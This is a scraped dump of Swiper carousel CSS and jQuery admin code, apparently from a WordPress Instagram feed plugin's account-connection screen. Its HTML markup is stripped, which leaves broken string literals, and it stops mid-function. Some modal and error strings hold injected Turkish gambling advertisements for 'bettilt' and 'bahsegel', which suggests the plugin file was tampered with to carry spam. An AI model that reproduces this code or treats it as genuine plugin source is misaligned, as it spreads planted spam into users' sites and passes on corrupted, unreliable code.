mandatory; } .swiper-vertical.swiper-css-mode > .swiper-wrapper { scroll-snap-type: y mandatory; } .swiper-centered > .swiper-wrapper::before { content: ''; flex-shrink: 0; order: 9999; } .swiper-centered.swiper-horizontal > .swiper-wrapper > .swiper-slide:first-child { margin-inline-start: var(--swiper-centered-offset-before); } .swiper-centered.swiper-horizontal > .swiper-wrapper::before { height: 100%; min-height: 1px; width: var(--swiper-centered-offset-after); } .swiper-centered.swiper-vertical > .swiper-wrapper > .swiper-slide:first-child { margin-block-start: var(--swiper-centered-offset-before); } .swiper-centered.swiper-vertical > .swiper-wrapper::before { width: 100%; min-width: 1px; height: var(--swiper-centered-offset-after); } .swiper-centered > .swiper-wrapper > .swiper-slide { scroll-snap-align: center center; } .swiper-virtual .swiper-slide { -webkit-backface-visibility: hidden; transform: translateZ(0); } .swiper-virtual.swiper-css-mode .swiper-wrapper::after { content: ''; position: absolute; left: 0; top: 0; pointer-events: none; } .swiper-virtual.swiper-css-mode.swiper-horizontal .swiper-wrapper::after { height: 1px; width: var(--swiper-virtual-size); } .swiper-virtual.swiper-css-mode.swiper-vertical .swiper-wrapper::after { width: 1px; height: var(--swiper-virtual-size); } :root { --swiper-navigation-size: 44px; /* --swiper-navigation-color: var(--swiper-theme-color); */ } .swiper-button-prev, .swiper-button-next { position: absolute; top: 50%; width: calc(var(--swiper-navigation-size) / 44 * 27); height: var(--swiper-navigation-size); margin-top: calc(0px - (var(--swiper-navigation-size) / 2)); z-index: 10; cursor: pointer; display: flex; align-items: center; justify-content: center; color: var(--swiper-navigation-color, var(--swiper-theme-color)); } .swiper-button-prev.swiper-button-disabled, .swiper-button-next.swiper-button-disabled { opacity: 0.35; cursor: auto; pointer-events: none; } .swiper-button-prev.swiper-button-hidden, .swiper-button-next.swiper-button-hidden { opacity: 0; cursor: auto; pointer-events: none; } .swiper-navigation-disabled .swiper-button-prev, .swiper-navigation-disabled .swiper-button-next { display: none !important; } .swiper-button-prev:after, .swiper-button-next:after { font-family: swiper-icons; font-size: var(--swiper-navigation-size); text-transform: none !important; letter-spacing: 0; font-variant: initial; line-height: 1; } .swiper-button-prev, .swiper-rtl .swiper-button-next { left: 10px; right: auto; } .swiper-button-prev:after, .swiper-rtl .swiper-button-next:after { content: 'prev'; } .swiper-button-next, .swiper-rtl .swiper-button-prev { right: 10px; left: auto; } .swiper-button-next:after, .swiper-rtl .swiper-button-prev:after { content: 'next'; } .swiper-button-lock { display: none; } :root { /* --swiper-pagination-color: var(--swiper-theme-color); --swiper-pagination-bullet-size: 8px; --swiper-pagination-bullet-width: 8px; --swiper-pagination-bullet-height: 8px; --swiper-pagination-bullet-inactive-color: #000; --swiper-pagination-bullet-inactive-opacity: 0.2; --swiper-pagination-bullet-opacity: 1; --swiper-pagination-bullet-horizontal-gap: 4px; --swiper-pagination-bullet-vertical-gap: 6px; */ } .swiper-pagination { position: absolute; text-align: center; transition: 300ms opacity; transform: translate3d(0, 0, 0); z-index: 10; } .swiper-pagination.swiper-pagination-hidden { opacity: 0; } .swiper-pagination-disabled > .swiper-pagination, .swiper-pagination.swiper-pagination-disabled { display: none !important; } /* Common Styles */ .swiper-pagination-fraction, .swiper-pagination-custom, .swiper-horizontal > .swiper-pagination-bullets, .swiper-pagination-bullets.swiper-pagination-horizontal { bottom: 10px; left: 0; width: 100%; } /* Bullets */ .swiper-pagination-bullets-dynamic { overflow: hidden; font-size: 0; } .swiper-pagination-bullets-dynamic .swiper-pagination-bullet { transform: scale(0.33); position: relative; } .swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active { transform: scale(1); } .swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-main { transform: scale(1); } .swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev { transform: scale(0.66); } .swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev-prev { transform: scale(0.33); } .swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next { transform: scale(0.66); } .swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next-next { transform: scale(0.33); } .swiper-pagination-bullet { width: var(--swiper-pagination-bullet-width, var(--swiper-pagination-bullet-size, 8px)); height: var(--swiper-pagination-bullet-height, var(--swiper-pagination-bullet-size, 8px)); display: inline-block; border-radius: 50%; background: var(--swiper-pagination-bullet-inactive-color, #000); opacity: var(--swiper-pagination-bullet-inactive-opacity, 0.2); } button.swiper-pagination-bullet { border: none; margin: 0; padding: 0; box-shadow: none; -webkit-appearance: none; appearance: none; } .swiper-pagination-clickable .swiper-pagination-bullet { cursor: pointer; } .swiper-pagination-bullet:only-child { display: none !important; } .swiper-pagination-bullet-active { opacity: var(--swiper-pagination-bullet-opacity, 1); background: var(--swiper-pagination-color, var(--swiper-theme-color)); } .swiper-vertical > .swiper-pagination-bullets, .swiper-pagination-vertical.swiper-pagination-bullets { right: 10px; top: 50%; transform: translate3d(0px, -50%, 0); } .swiper-vertical > .swiper-pagination-bullets .swiper-pagination-bullet, .swiper-pagination-vertical.swiper-pagination-bullets .swiper-pagination-bullet { margin: var(--swiper-pagination-bullet-vertical-gap, 6px) 0; display: block; } .swiper-vertical > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic, .swiper-pagination-vertical.swiper-pagination-bullets.swiper-pagination-bullets-dynamic { top: 50%; transform: translateY(-50%); width: 8px; } .swiper-vertical > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet, .swiper-pagination-vertical.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet { display: inline-block; transition: 200ms transform, 200ms top; } .swiper-horizontal > .swiper-pagination-bullets .swiper-pagination-bullet, .swiper-pagination-horizontal.swiper-pagination-bullets .swiper-pagination-bullet { margin: 0 var(--swiper-pagination-bullet-horizontal-gap, 4px); } .swiper-horizontal > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic, .swiper-pagination-horizontal.swiper-pagination-bullets.swiper-pagination-bullets-dynamic { left: 50%; transform: translateX(-50%); white-space: nowrap; } .swiper-horizontal > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet, .swiper-pagination-horizontal.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet { transition: 200ms transform, 200ms left; } .swiper-horizontal.swiper-rtl > .swiper-pagination-bullets-dynamic .swiper-pagination-bullet { transition: 200ms transform, 200ms right; } /* Progress */ .swiper-pagination-progressbar { background: rgba(0, 0, 0, 0.25); position: absolute; } .swiper-pagination-progressbar .swiper-pagination-progressbar-fill { background: var(--swiper-pagination-color, var(--swiper-theme-color)); position: absolute; left: 0; top: 0; width: 100%; height: 100%; transform: scale(0); transform-origin: left top; } .swiper-rtl .swiper-pagination-progressbar .swiper-pagination-progressbar-fill { transform-origin: right top; } .swiper-horizontal > .swiper-pagination-progressbar, .swiper-pagination-progressbar.swiper-pagination-horizontal, .swiper-vertical > .swiper-pagination-progressbar.swiper-pagination-progressbar-opposite, .swiper-pagination-progressbar.swiper-pagination-vertical.swiper-pagination-progressbar-opposite { width: 100%; height: 4px; left: 0; top: 0; } .swiper-vertical > .swiper-pagination-progressbar, .swiper-pagination-progressbar.swiper-pagination-vertical, .swiper-horizontal > .swiper-pagination-progressbar.swiper-pagination-progressbar-opposite, .swiper-pagination-progressbar.swiper-pagination-horizontal.swiper-pagination-progressbar-opposite { width: 4px; height: 100%; left: 0; top: 0; } .swiper-pagination-lock { display: none; } /* Scrollbar */ .swiper-scrollbar { border-radius: 10px; position: relative; -ms-touch-action: none; background: rgba(0, 0, 0, 0.1); } .swiper-scrollbar-disabled > .swiper-scrollbar, .swiper-scrollbar.swiper-scrollbar-disabled { display: none !important; } .swiper-horizontal > .swiper-scrollbar, .swiper-scrollbar.swiper-scrollbar-horizontal { position: absolute; left: 1%; bottom: 3px; z-index: 50; height: 5px; width: 98%; } .swiper-vertical > .swiper-scrollbar, .swiper-scrollbar.swiper-scrollbar-vertical { position: absolute; right: 3px; top: 1%; z-index: 50; width: 5px; height: 98%; } .swiper-scrollbar-drag { height: 100%; width: 100%; position: relative; background: rgba(0, 0, 0, 0.5); border-radius: 10px; left: 0; top: 0; } .swiper-scrollbar-cursor-drag { cursor: move; } .swiper-scrollbar-lock { display: none; } .swiper-zoom-container { width: 100%; height: 100%; display: flex; justify-content: center; align-items: center; text-align: center; } .swiper-zoom-container > img, .swiper-zoom-container > svg, .swiper-zoom-container > canvas { max-width: 100%; max-height: 100%; object-fit: contain; } .swiper-slide-zoomed { cursor: move; } /* Preloader */ :root { /* --swiper-preloader-color: var(--swiper-theme-color); */ } .swiper-lazy-preloader { width: 42px; height: 42px; position: absolute; left: 50%; top: 50%; margin-left: -21px; margin-top: -21px; z-index: 10; transform-origin: 50%; box-sizing: border-box; border: 4px solid var(--swiper-preloader-color, var(--swiper-theme-color)); border-radius: 50%; border-top-color: transparent; } .swiper:not(.swiper-watch-progress) .swiper-lazy-preloader, .swiper-watch-progress .swiper-slide-visible .swiper-lazy-preloader { animation: swiper-preloader-spin 1s infinite linear; } .swiper-lazy-preloader-white { --swiper-preloader-color: #fff; } .swiper-lazy-preloader-black { --swiper-preloader-color: #000; } @keyframes swiper-preloader-spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } /* a11y */ .swiper .swiper-notification { position: absolute; left: 0; top: 0; pointer-events: none; opacity: 0; z-index: -1000; } .swiper-free-mode > .swiper-wrapper { transition-timing-function: ease-out; margin: 0 auto; } .swiper-grid > .swiper-wrapper { flex-wrap: wrap; } .swiper-grid-column > .swiper-wrapper { flex-wrap: wrap; flex-direction: column; } .swiper-fade.swiper-free-mode .swiper-slide { transition-timing-function: ease-out; } .swiper-fade .swiper-slide { pointer-events: none; transition-property: opacity; } .swiper-fade .swiper-slide .swiper-slide { pointer-events: none; } .swiper-fade .swiper-slide-active, .swiper-fade .swiper-slide-active .swiper-slide-active { pointer-events: auto; } .swiper-cube { overflow: visible; } .swiper-cube .swiper-slide { pointer-events: none; -webkit-backface-visibility: hidden; backface-visibility: hidden; z-index: 1; visibility: hidden; transform-origin: 0 0; width: 100%; height: 100%; } .swiper-cube .swiper-slide .swiper-slide { pointer-events: none; } .swiper-cube.swiper-rtl .swiper-slide { transform-origin: 100% 0; } .swiper-cube .swiper-slide-active, .swiper-cube .swiper-slide-active .swiper-slide-active { pointer-events: auto; } .swiper-cube .swiper-slide-active, .swiper-cube .swiper-slide-next, .swiper-cube .swiper-slide-prev, .swiper-cube .swiper-slide-next + .swiper-slide { pointer-events: auto; visibility: visible; } .swiper-cube .swiper-slide-shadow-top, .swiper-cube .swiper-slide-shadow-bottom, .swiper-cube .swiper-slide-shadow-left, .swiper-cube .swiper-slide-shadow-right { z-index: 0; -webkit-backface-visibility: hidden; backface-visibility: hidden; } .swiper-cube .swiper-cube-shadow { position: absolute; left: 0; bottom: 0px; width: 100%; height: 100%; opacity: 0.6; z-index: 0; } .swiper-cube .swiper-cube-shadow:before { content: ''; background: #000; position: absolute; left: 0; top: 0; bottom: 0; right: 0; filter: blur(50px); } .swiper-flip { overflow: visible; } .swiper-flip .swiper-slide { pointer-events: none; -webkit-backface-visibility: hidden; backface-visibility: hidden; z-index: 1; } .swiper-flip .swiper-slide .swiper-slide { pointer-events: none; } .swiper-flip .swiper-slide-active, .swiper-flip .swiper-slide-active .swiper-slide-active { pointer-events: auto; } .swiper-flip .swiper-slide-shadow-top, .swiper-flip .swiper-slide-shadow-bottom, .swiper-flip .swiper-slide-shadow-left, .swiper-flip .swiper-slide-shadow-right { z-index: 0; -webkit-backface-visibility: hidden; backface-visibility: hidden; } .swiper-creative .swiper-slide { -webkit-backface-visibility: hidden; backface-visibility: hidden; overflow: hidden; transition-property: transform, opacity, height; } .swiper-cards { overflow: visible; } .swiper-cards .swiper-slide { transform-origin: center bottom; -webkit-backface-visibility: hidden; backface-visibility: hidden; overflow: hidden; }jQuery(document).ready(function($) { jQuery('#sbi_no_js_warning').remove(); /* NEW API CODE */ $('.sbi_admin_btn, .sbi_reconnect').click(function(event) { event.preventDefault(); var today = new Date(), march = new Date('June 1, 2020 00:00:00'), oldApiURL = $(this).attr('data-old-api'), oldApiLink = ''; if (today.getTime() < march.getTime()) { oldApiLink = 'To connect using the legacy API, click here (expires on June 1, 2020).'; } var personalBasicApiURL = $('#sbi_config .sbi_admin_btn').attr('data-personal-basic-api'), newApiURL = $('#sbi_config .sbi_admin_btn').attr('data-new-api'); $('#sbi_config').append('
' + '
' + '

Are you connecting a Personal or Business Instagram Profile?

' + '' + '' + '' + 'Connect' + '' + '
' + '
'); $('.sbi_modal_close').on('click', function(){ $('#sbi_config_info').remove(); }); $('input[name=sbi_login_type]').change(function() { if ($('input[name=sbi_login_type]:checked').val() === 'business') { $('a.sbi_admin_btn').attr('href',newApiURL); } else { $('a.sbi_admin_btn').attr('href',personalBasicApiURL); } }); }); if ($('.sbi_config_modal .sbi-managed-pages').length) { $('#sbi_config').append($('#sbi_config_info')); } $('#sbi-select-all').change(function() { var status = $(this).is(':checked'); $('.sbi-add-checkbox input').each(function() { $(this).attr('checked',status); }); if($('.sbi-add-checkbox input:checked').length) { $('#sbi-connect-business-accounts').removeAttr('disabled'); } else { $('#sbi-connect-business-accounts').attr('disabled',true); } }); $('.sbi-add-checkbox input').change(function() { if($('.sbi-add-checkbox input:checked').length) { $('#sbi-connect-business-accounts').removeAttr('disabled'); } else { $('#sbi-connect-business-accounts').attr('disabled',true); } }); $('#sbi-connect-business-accounts').click(function(event) { if(typeof $(this).attr('disabled') === 'undefined') { event.preventDefault(); var accounts = {}; $('.sbi-add-checkbox input').each(function(index) { if ($(this).is(':checked')) { var jsonSubmit = JSON.parse($(this).val()); jsonSubmit.access_token = $(this).closest('.sbi-managed-page').attr('data-token'); jsonSubmit.page_access_token = $(this).closest('.sbi-managed-page').attr('data-page-token'); accounts[index] = jsonSubmit; } }); $('.sbi_connected_accounts_wrap,#sbi_config_info').fadeTo("slow" , 0.5); jQuery.ajax({ url: sbiA.ajax_url, type: 'post', data: { action: 'sbi_connect_business_accounts', accounts: JSON.stringify(accounts), sbi_nonce: sbiA.sbi_nonce }, success: function (data) { if (data.trim().indexOf('{') === 0) { var connectedAccounts = JSON.parse(data); $('.sbi_connected_accounts_wrap').fadeTo("slow" , 1); $('#sbi_config_info').remove(); $.each(connectedAccounts,function(index,savedToken) { console.log(savedToken); sbiAfterUpdateToken(savedToken,false); }); } } }); } }); $('.sbi_modal_close').on('click', function(){ $('#sbi_config_info').remove(); }); /* NEW API CODE */ //Autofill the token and id var hash = window.location.hash, token = hash.substring(14), id = token.split('.')[0]; if (token.length > 40 && $('.sbi_admin_btn').length) { $('.sbi_admin_btn').css('opacity','.5').after('
'); jQuery.ajax({ url: sbiA.ajax_url, type: 'post', data: { action: 'sbi_after_connection', access_token: token, }, success: function (data) { if (data.indexOf('{') === 0) { var accountInfo = JSON.parse(data); if (typeof accountInfo.error_message === 'undefined') { accountInfo.token = token; $('.sbi_admin_btn').css('opacity','1'); $('#sbi_config').find('.spinner').remove(); if (!$('.sbi_connected_account ').length) { $('.sbi_no_accounts').remove(); sbSaveToken(token,true); } else { var buttonText = 'Connect This Account'; // if the account is connected, offer to update in case information has changed. if ($('#sbi_connected_account_'+id).length) { buttonText = 'Update This Account'; } $('#sbi_config').append('
' + '
' + '' + '
'+accountInfo.username+'
' + '

' + 'Switch Accounts

Hızlı işlem isteyen kullanıcılar bettilt sayesinde kolayca bahis yapabiliyor.

' + '' + '
' + '
'); $('#sbi_connect_account').click(function(event) { event.preventDefault(); $('#sbi_config_info').fadeOut(200); sbSaveToken(token,false); }); sbiSwitchAccounts(); } } else { $('.sbi_admin_btn').css('opacity','1'); $('#sbi_config').find('.spinner').remove(); var message = accountInfo.error_message; $('#sbi_config').append('
' + '
' + '

'+message+'

' + '

Switch Accounts

Yatırım sonrası ekstra kazanç sağlamak isteyenler için bettilt giriş kodları oldukça cazip.

' + '' + '
' + '
'); sbiSwitchAccounts(); } } else { $('.sbi_admin_btn').css('opacity','1'); $('#sbi_config').find('.spinner').remove(); var message = 'There was an error connecting your account'; $('#sbi_config').append('
' + '
' + '

'+message+'

' + '

Switch Accounts

Kumarhane eğlencesini dijital dünyaya taşıyan bahsegel çeşitliliği artıyor.

' + '' + '
' + '
'); sbiSwitchAccounts(); } } }); window.location.hash = ''; } function sbiSwitchAccounts(){ $('#sbi_switch_accounts').on('click', function(){ //Log user out of Instagram by hitting the logout URL in an iframe $('body').append(''); $(this).text('Please wait...').after('
'); //Wait a couple seconds for the logout to occur, then connect a new account setTimeout(function(){ window.location.href = $('.sbi_admin_btn').attr('href'); }, 2000); }); $('.sbi_modal_close').on('click', function(){ $('#sbi_config_info').remove(); }); } if ($('#sbi_switch_accounts').length) { $('.sbi_admin_btn').attr('href',$('#sbi_config .sbi_admin_btn').attr('data-personal-basic-api')); sbiSwitchAccounts(); } function sbiAfterUpdateToken(savedToken,saveID){ $('.sbi_no_accounts').remove(); if (saveID) { sbSaveID(savedToken.user_id); $('.sbi_user_feed_ids_wrap').prepend( '
'+ ''+savedToken.username+' ('+savedToken.user_id+')' + '' + '
' ); } if (typeof savedToken.old_user_id !== 'undefined' && $('#sbi_connected_account_'+savedToken.old_user_id).length) { if ($('#sbi_user_feed_id_'+savedToken.old_user_id).length) { $('.sbi_user_feed_ids_wrap').prepend( '
'+ ''+savedToken.username+' ('+savedToken.user_id+')' + '' + '
' ); $('#sbi_user_feed_id_'+savedToken.old_user_id).remove(); saveID = true; } $('#sbi_connected_account_'+savedToken.old_user_id).remove(); } if ($('#sbi_connected_account_'+savedToken.user_id).length) { if (savedToken.is_valid) { $('#sbi_connected_account_'+savedToken.user_id).addClass('sbi_account_updated'); } else { $('#sbi_connected_account_'+savedToken.user_id).addClass('sbi_account_invalid'); } $('#sbi_connected_account_'+savedToken.user_id).attr('data-accesstoken',savedToken.access_token); if (typeof savedToken.use_tagged !== 'undefined' && savedToken.use_tagged == '1') { $('#sbi_connected_account_'+savedToken.user_id).attr('data-permissions','tagged'); $('#sbi_connected_account_'+savedToken.user_id).find('.sbi_permissions_desc').text('All'); } if (! $('#sbi_connected_account_'+savedToken.user_id + ' .sbi_ca_avatar').length) { if (savedToken.profile_picture !== '') { $('#sbi_connected_account_'+savedToken.user_id + ' .sbi_ca_username').prepend(''); } } $('#sbi_connected_account_'+savedToken.user_id + ' .sbi_ca_username').find('span').text(sbiAccountType(savedToken.type)); $('#sbi_connected_account_'+savedToken.user_id).find('.sbi_ca_accesstoken .sbi_ca_token').text(savedToken.access_token); $('#sbi_connected_account_'+savedToken.user_id).find('.sbi_tooltip code').text('[instagram-feed accesstoken="'+savedToken.access_token+'"]'); } else { //Check which kind of account it is if(typeof savedToken.type !== 'undefined'){ var accountType = savedToken.type; $('.sbi_hashtag_feed_issue').removeClass('sbi_hashtag_feed_issue').find('.sbi_hashtag_feed_issue_note').hide(); } else { var accountType = 'personal'; } var avatarHTML = ''; if (savedToken.profile_picture !== '') { avatarHTML = ''; } //Add the account HTML to the page var removeOrSaveHTML = saveID ? 'Remove from Primary Feed' : 'Add to Primary Feed', statusClass = saveID ? 'sbi_account_active' : 'sbi_account_updated', html = '
'+ '
'+ ''+ '
'+ avatarHTML+ ''+savedToken.username+''+sbiAccountType(accountType)+''+ '
'+ '
'+ removeOrSaveHTML + 'Add to another Feed'+ ''+ '
'+ '
'+ '

Copy and paste this shortcode into your page or widget area:
'+ '[instagram-feed user="'+savedToken.username+'"]'+ '

'+ '

To add multiple users in the same feed, simply separate them using commas:
'+ '[instagram-feed user="'+savedToken.username+', a_second_user, a_third_user"]'+ '

Click on the Display Your Feed tab to learn more about shortcodes

'+ '
'+ '
' + 'Access Token:
' + 'User ID:
' + 'Permissions:All' + '
' + '
'+ '
'; $('.sbi_connected_accounts_wrap').prepend(html); var $clickRemove = $('.sbi-init-click-remove'); sbiInitClickRemove($clickRemove.find('.sbi_delete_account')); if ($clickRemove.find('.sbi_remove_from_user_feed').length ) { $clickRemove.find('.sbi_remove_from_user_feed').off(); sbiInitUserRemove($clickRemove.find('.sbi_remove_from_user_feed')); } else { $clickRemove.find('.sbi_use_in_user_feed').off(); sbiInitUserAdd($clickRemove.find('.sbi_use_in_user_feed')); } $clickRemove.removeClass('sbi-init-click-remove'); } } function sbSaveToken(token,saveID) { $('.sbi_connected_accounts_wrap').fadeTo("slow" , 0.5); jQuery.ajax({ url: sbiA.ajax_url, type: 'post', data: { action: 'sbi_auto_save_tokens', access_token: token, just_tokens: true, sbi_nonce: sbiA.sbi_nonce }, success: function (data) { var savedToken = JSON.parse(data); $('.sbi_connected_accounts_wrap').fadeTo("slow" , 1); sbiAfterUpdateToken(savedToken,saveID); } }); } function sbiAccountType(accountType) { if (accountType === 'basic') { return 'personal (new API)'; } return accountType; } function sbSaveID(ID) { jQuery.ajax({ url: sbiA.ajax_url, type: 'post', data: { action: 'sbi_auto_save_id', id: ID, just_tokens: true, sbi_nonce: sbiA.sbi_nonce }, success: function (data) { } }); } // connect accounts //sbi-bus-account-error if (window.location.hash && window.location.hash === '#test') { window.location.hash = ''; $('#sbi-bus-account-error').html('

Oyuncular yatırımlarını güvenle yapabilmek için bettilt sistemlerini öncelikli görüyor.

Couldn\'t connect an account with this access token
' + 'Please check to make sure that the token you entered is correct.

') } $('.sbi_manually_connect_wrap').hide(); $('.sbi_manually_connect').click(function(event) { event.preventDefault(); if ( $('.sbi_manually_connect_wrap').is(':visible') ) { $('.sbi_manually_connect_wrap').slideUp(200); } else { $('.sbi_manually_connect_wrap').slideDown(200); $('#sb_manual_at').focus(); } }); $('#sb_manual_at').on('input',function() { sbiToggleManualAccountIDInput(); }); if ($('#sb_manual_at').length){ sbiToggleManualAccountIDInput(); } function sbiIsBusinessToken() { return ($('#sb_manual_at').val().trim().length > 125); } function sbiToggleManualAccountIDInput() { if (sbiIsBusinessToken()) { $('.sbi_manual_account_id_toggle').slideDown(); $('.sbi_business_profile_tag').css('display', 'inline-block'); } else { $('.sbi_manual_account_id_toggle').slideUp(); } } var $body = $('body'); $body.on('click', '.sbi_test_token, .sbi_ca_token_shortcode', function (event) { event.preventDefault(); var $clicked = $(event.target), accessToken = $clicked.closest('.sbi_connected_account').attr('data-accesstoken'), action = false, atParts = accessToken.split('.'), username = $clicked.closest('.sbi_connected_account').attr('data-username'), accountID = $clicked.closest('.sbi_connected_account').attr('data-userid'); if ($clicked.hasClass('sbi_ca_token_shortcode')) { jQuery(this).closest('.sbi_ca_info').find('.sbi_ca_shortcode').slideToggle(200); } // }); $('.sbi_delete_account').each(function() { sbiInitClickRemove($(this)); }); function sbiInitClickRemove(el) { el.click(function(event) { event.preventDefault(); if (!$(this).closest('.sbi_connected_accounts_wrap').hasClass('sbi-waiting')) { $(this).closest('.sbi_connected_accounts_wrap').addClass('sbi-waiting'); var accessToken = $(this).closest('.sbi_connected_account').attr('data-accesstoken'), action = false, atParts = accessToken.split('.'), username = $(this).closest('.sbi_connected_account').attr('data-username'), accountID = $(this).closest('.sbi_connected_account').attr('data-userid'); if (window.confirm("Delete this connected account?")) { action = 'sbi_delete_account'; $('#sbi_user_feed_id_' + accountID).remove(); $('#sbi_tagged_feed_id_' + accountID).remove(); $('#sbi_connected_account_' + accountID).append('
').find('.sbi_ca_info').css('opacity','.5'); jQuery.ajax({ url: sbiA.ajax_url, type: 'post', data: { action: action, account_id: accountID, sbi_nonce: sbiA.sbi_nonce }, success: function (data) { $('.sbi-waiting').removeClass('sbi-waiting'); $('#sbi_connected_account_' + accountID).fadeOut(300, function() { $(this).remove(); }); } }); } else { $('.sbi-waiting').removeClass('sbi-waiting'); } } }); } $('.sbi_remove_from_user_feed').each(function() { sbiInitUserRemove($(this)); }); function sbiInitUserRemove(el,targetClass) { el.click(function(event) { event.preventDefault(); targetClass = $('input[name=sb_instagram_type]:checked').val(); var $clicked = $(this), accountID = $clicked.closest('.sbi_connected_account').attr('data-userid'); $('#sbi_'+targetClass+'_feed_id_'+accountID).remove(); sbiConAccountsAddRemoveUpdater(); }); } $('.sbi_use_in_user_feed').each(function() { sbiInitUserAdd($(this), 'user'); }); function sbiInitUserAdd(el,targetClass) { el.click(function(event) { targetClass = $('input[name=sb_instagram_type]:checked').val(); event.preventDefault(); var $clicked = $(this), $closest = $clicked.closest('.sbi_connected_account'), username = $clicked.closest('.sbi_connected_account').attr('data-username'), accountID = $clicked.closest('.sbi_connected_account').attr('data-userid'); var name = ''+accountID+''; if (username !== '') { name = ''+username+' ('+accountID+')'; } $('.sbi_'+targetClass+'_feed_ids_wrap').prepend( '
'+ name + '' + '
' ); $('.sbi_no_accounts').hide(); sbiConAccountsAddRemoveUpdater(); }); } function sbiConAccountsAddRemoveUpdater() { var targetClass = $('input[name=sb_instagram_type]:checked').val(); var isSelected = []; $('.sbi_'+targetClass+'_feed_account_wrap').find('input').each(function() { isSelected.push($(this).val()); }); $('.sbi_connected_account').each(function() { var username = $(this).attr('data-username'), accountID = $(this).attr('data-userid'), type = $(this).attr('data-type'), permissions = $(this).attr('data-permissions'), $addRemoveButton = $(this).find('.sbi_ca_actions .button-primary').first(); $(this).removeClass('sbi_account_updated'); $addRemoveButton.removeAttr('disabled'); if (targetClass === 'tagged' && (type === 'personal' || permissions !== 'tagged')) { $addRemoveButton.show(); if (type === 'personal') { $addRemoveButton.html('Tagged Feeds Not Supported'); } else { $addRemoveButton.html('Reconnect Account'); } $addRemoveButton.attr('disabled',true).addClass('sbi_remove_from_user_feed').removeClass('sbi_use_in_user_feed'); $(this).removeClass('sbi_account_active'); } else if (targetClass === 'hashtag') { $addRemoveButton.hide(); $addRemoveButton.attr('disabled',true).addClass('sbi_remove_from_user_feed').removeClass('sbi_use_in_user_feed'); $(this).removeClass('sbi_account_active'); } else { $addRemoveButton.show(); if (isSelected.indexOf(accountID) > -1) { $addRemoveButton.html('Remove from Primary Feed'); $addRemoveButton.addClass('sbi_remove_from_user_feed').removeClass('sbi_use_in_user_feed'); $(this).addClass('sbi_account_active'); } else { $addRemoveButton.html('Add to Primary Feed'); $addRemoveButton.removeClass('sbi_remove_from_user_feed'); $addRemoveButton.addClass('sbi_use_in_user_feed'); $(this).removeClass('sbi_account_active'); } } if ($(this).find('.sbi_remove_from_user_feed').length ) { $(this).find('.sbi_remove_from_user_feed').off(); sbiInitUserRemove($(this).find('.sbi_remove_from_user_feed')); } else { $(this).find('.sbi_use_in_user_feed').off(); sbiInitUserAdd($(this).find('.sbi_use_in_user_feed'),'user'); } }); }sbiConAccountsAddRemoveUpdater(); $('input[name=sb_instagram_type]').change(sbiConAccountsAddRemoveUpdater); $body.on('click', '.sbi_ca_show_token', function(event) { jQuery(this).closest('.sbi_ca_info').find('.sbi_ca_accesstoken').slideToggle(200); }); $('#sbi_manual_submit').click(function(event) { event.preventDefault(); var $self = $(this); var accessToken = $('#sb_manual_at').val(), error = false; if (sbiIsBusinessToken() && $('.sbi_manual_account_id_toggle').find('input').val().length < 3) { error = true; if (!$('.sbi_manually_connect_wrap').find('.sbi_user_id_error').length) { $('.sbi_manually_connect_wrap').show().prepend('
Please enter a valid User ID for this Business account.
'); } } else { error = false; } if (accessToken.length < 15) { if (!$('.sbi_manually_connect_wrap').find('.sbi_user_id_error').length) { $('.sbi_manually_connect_wrap').show().prepend('
Please enter a valid access token
'); } } else if (! error) { $(this).attr('disabled',true); $(this).closest('.sbi_manually_connect_wrap').fadeOut(); $('.sbi_connected_accounts_wrap').fadeTo("slow" , 0.5).find('.sbi_user_id_error').remove(); jQuery.ajax({ url: sbiA.ajax_url, type: 'post', data: { action: 'sbi_test_token', access_token: accessToken, account_id : $('.sbi_manual_account_id_toggle').find('input').val().trim(), sbi_nonce: sbiA.sbi_nonce }, success: function (data) { $('.sbi_connected_accounts_wrap').fadeTo("slow" , 1); $self.removeAttr('disabled'); if ( data.indexOf('{') > -1) { var savedToken = JSON.parse(data); if (typeof savedToken.url !== 'undefined') { window.location.href = savedToken.url; } else { $(this).closest('.sbi_manually_connect_wrap').fadeOut(); $('#sb_manual_at, .sbi_manual_account_id_toggle input').val(''); sbiAfterUpdateToken(savedToken,false); } } else { $('.sbi_manually_connect_wrap').show().prepend('
'+data+'
'); } } }); } }); //sbi_reset_resized // clear resized var $sbiClearResizedButton = $('#sbi_reset_resized'); $sbiClearResizedButton.click(function(event) { event.preventDefault(); jQuery('#sbi-clear-cache-success').remove(); jQuery(this).prop("disabled",true); $.ajax({ url : sbiA.ajax_url, type : 'post', data : { action : 'sbi_reset_resized' }, success : function(data) { $sbiClearResizedButton.prop('disabled',false); if(data=='1') { $sbiClearResizedButton.after(''); } else { $sbiClearResizedButton.after('error'); } } }); // ajax call }); // clear_comment_cache click //Caching options if( jQuery('#sbi_caching_type_page').is(':checked') ) { jQuery('.sbi-caching-cron-options').hide(); jQuery('.sbi-caching-page-options').show(); } else { jQuery('.sbi-caching-page-options').hide(); jQuery('.sbi-caching-cron-options').show(); } $('input[type=radio][name=sbi_caching_type]').change(function() { if (this.value == 'page') { jQuery('.sbi-caching-cron-options').slideUp(); jQuery('.sbi-caching-page-options').slideDown(); } else if (this.value == 'background') { jQuery('.sbi-caching-page-options').slideUp(); jQuery('.sbi-caching-cron-options').slideDown(); } }); //Should we show the caching time settings? var sbi_cache_cron_interval = jQuery('#sbi_cache_cron_interval').val(), $sbi_caching_time_settings = jQuery('#sbi-caching-time-settings'); //Should we show anything initially? if(sbi_cache_cron_interval == '30mins' || sbi_cache_cron_interval == '1hour') $sbi_caching_time_settings.hide(); jQuery('#sbi_cache_cron_interval').change(function(){ sbi_cache_cron_interval = jQuery('#sbi_cache_cron_interval').val(); if(sbi_cache_cron_interval == '30mins' || sbi_cache_cron_interval == '1hour'){ 